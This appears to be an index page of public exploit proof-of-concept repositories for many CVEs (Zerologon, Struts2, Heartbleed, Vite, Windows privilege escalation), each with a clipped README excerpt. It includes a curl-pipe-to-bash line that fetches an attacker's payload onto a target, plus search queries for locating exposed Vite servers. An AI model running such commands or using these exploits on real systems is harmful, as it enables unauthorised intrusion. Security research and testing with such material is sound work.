gerapy-cve-2021-43857

Gerapy CVE-2021-43857 Authenticated RCE This repository contains a proof of concept exploit for CVE-2021-43857 , a Remote Code Execution vulnerability affecting Gerapy -p -L -P Requirements 1. Python 3.x 2. requests and pyfiglet pip install requests pyfiglet 3. Netcat nc...

CVE-2011-3368

CVE-2011-3368 PoC Exploit. cve-2011-3368 Install: git clone https://github.com/colorblindpentester/CVE-2011-3368 cd CVE-2011-3368 python2 CVE-2011-3368.py Tested on: OS X macos Parrot OS Kali linux...

CVE-2020-5902

CVE-2020-5902 Exploit for CVE-2020-5902 POC bash version...

CVE-2020-3956

CVE-2020-3956 PoC exploit for VMware Cloud Director RCE CVE-2020-3956 Technical advisory is available here: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: bash exploit.sh In target machine run in a writable directory: curl http://:8000/payload.sh | bash It will automatically download the nvme binary, export the path, run...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 exploit written in win32/c++ openssl dependency. Port of https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instructions This PoC requires staticly linked openssl libraries. Place openssl includes in thirdparty\include\openssl and libs ...

dnspooq

dnspooq DNSpooq PoC - dnsmasq cache poisoning CVE-2020-25686, CVE-2020-25684, CVE-2020-25685 For educational purposes only Requirements Docker compose Docker Exploit Launch containers $ docker-compose up -d Run exploit.py $ docker-compose exec attacker bash bash-5.0 python exploit.py Querying...

CVE-2024-23346

CVE-2024-23346 This PoC is based on the report/findings of William Khem-Marquez and Matthew Horton: https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f Usage: python3 CVE-2024-23346.py -t targetURL -u username -p password -l localhost -P localport -X -P and -X are...

cve-2018-12386

Firefox Sandboxed RCE Exploit CVE-2018-12386 Here is a simple exploit for the vulnerability CVE-2018-12386 found by Niklas Baumstark, Samuel Groß and Bruno Keith. This is mostly a PoC I did for fun, there is no sandbox bypass and it will only work on a given Linux setup where the offsets used by...

struts2-jakarta-inject

POC Exploit for CVE-2017-5638 Only use this exploit on systems you own or have explicit rights to test Installation If you have go already installed on your computer, go get is the way to go go get github.com/Greynad/struts2-jakarta-inject Usage Single command execution struts2-jakarta-inject -u ...

zer0dump

Zer0Dump Zer0dump is an PoC exploit/tool for abusing the vulnerabilities associated with CVE-2020-1472 Zerologon in order to initiate a full system takeover of an unpatched Windows domain controller. Special thanks to @dirkjanm and @SecureAuthCorp...

cve-2018-12386

Firefox Sandboxed RCE Exploit CVE-2918-12386 Here is a simple exploit for the vulnerability CVE-2018-12386 found by Niklas Baumstark, Samuel Groß and Bruno Keith. This is mostly a Poc I did for fun, there is no sandbox bypass and it will only work on a given Linux setup where the offsets used by...

CVE-2023-23397-POC-Using-Interop-Outlook

CVE-2023-23397-POC-Using-Interop-Outlook Easy implementation for CVE-2023-23397 exploit POC using Microsoft.Office.Interop.Outlook...

LPE---CVE-2020-0796

Usage: Make sure Python is installed, then run poc.py. Windows Kernel Write-What-Where CVE-2020-0796 Exploit Intended only for educational and testing in corporate environments. MasterSpl0it takes no responsibility for the code, use at your own risk. Rewritten CVE-2020-0796 Local Privilege...

cve-2020-5902

cve-2020-5902 cve-2020-5902 POC exploit POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAME specify the loca...

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION Disclaimer The author's PoC is for research purposes only. If readers use this PoC for other actions, the author is not responsible. Introduction CVE-2020-0787-EXP Support ALL Windows Version...

CVE-2019-1458

CVE-2019-1458 Windows LPE Exploit Caution YOU ONLY HAVE ONE CHANCE TO EXPLOIT FOR EACH KERNEL REBOOT!!!! Screenshot Supported Version Windows 2012 R2 Tested Windows 8 Tested Windows 2008 R2 x64Tested Windows 7.1 x64 Tested Windows 7 x64 Windows 2012 x64 Windows 2008 x64 ALL X32 VERSION SYSTEMS AR...

CVE-2025-30208-EXP

CVE-2025-30208-EXP Vite development server arbitrary file read vulnerability CVE-2025-30208, with wide coverage, simple exploitation, and no restrictions, posing a huge threat! Fofa search syntax: body="/@vite/client" Hunter search syntax: web.body="/@vite/client" Exp script usage -u to check -p...

heartbleed-PoC

Heartbleed PoC A sample example of the Heartbleed attack using the server https://www.cloudflarechallenge.com/ made for trying this attack. First, the two best explanations I read on the subject : http://www.seancassidy.me/diagnosis-of-the-openssl-heartbleed-bug.html http://xkcd.com/1354/ Exploit...

CVE-2020-15999

CVE-2020-15999 Here you will all the resources in order to execute the PoC for the CVE-2020-15999 in Google Chrome and Ftview Ubuntu. There are two folders in this repository, one for each program. Google Chrome In order to reproduce the exploit you will have to install a Google Chrome version...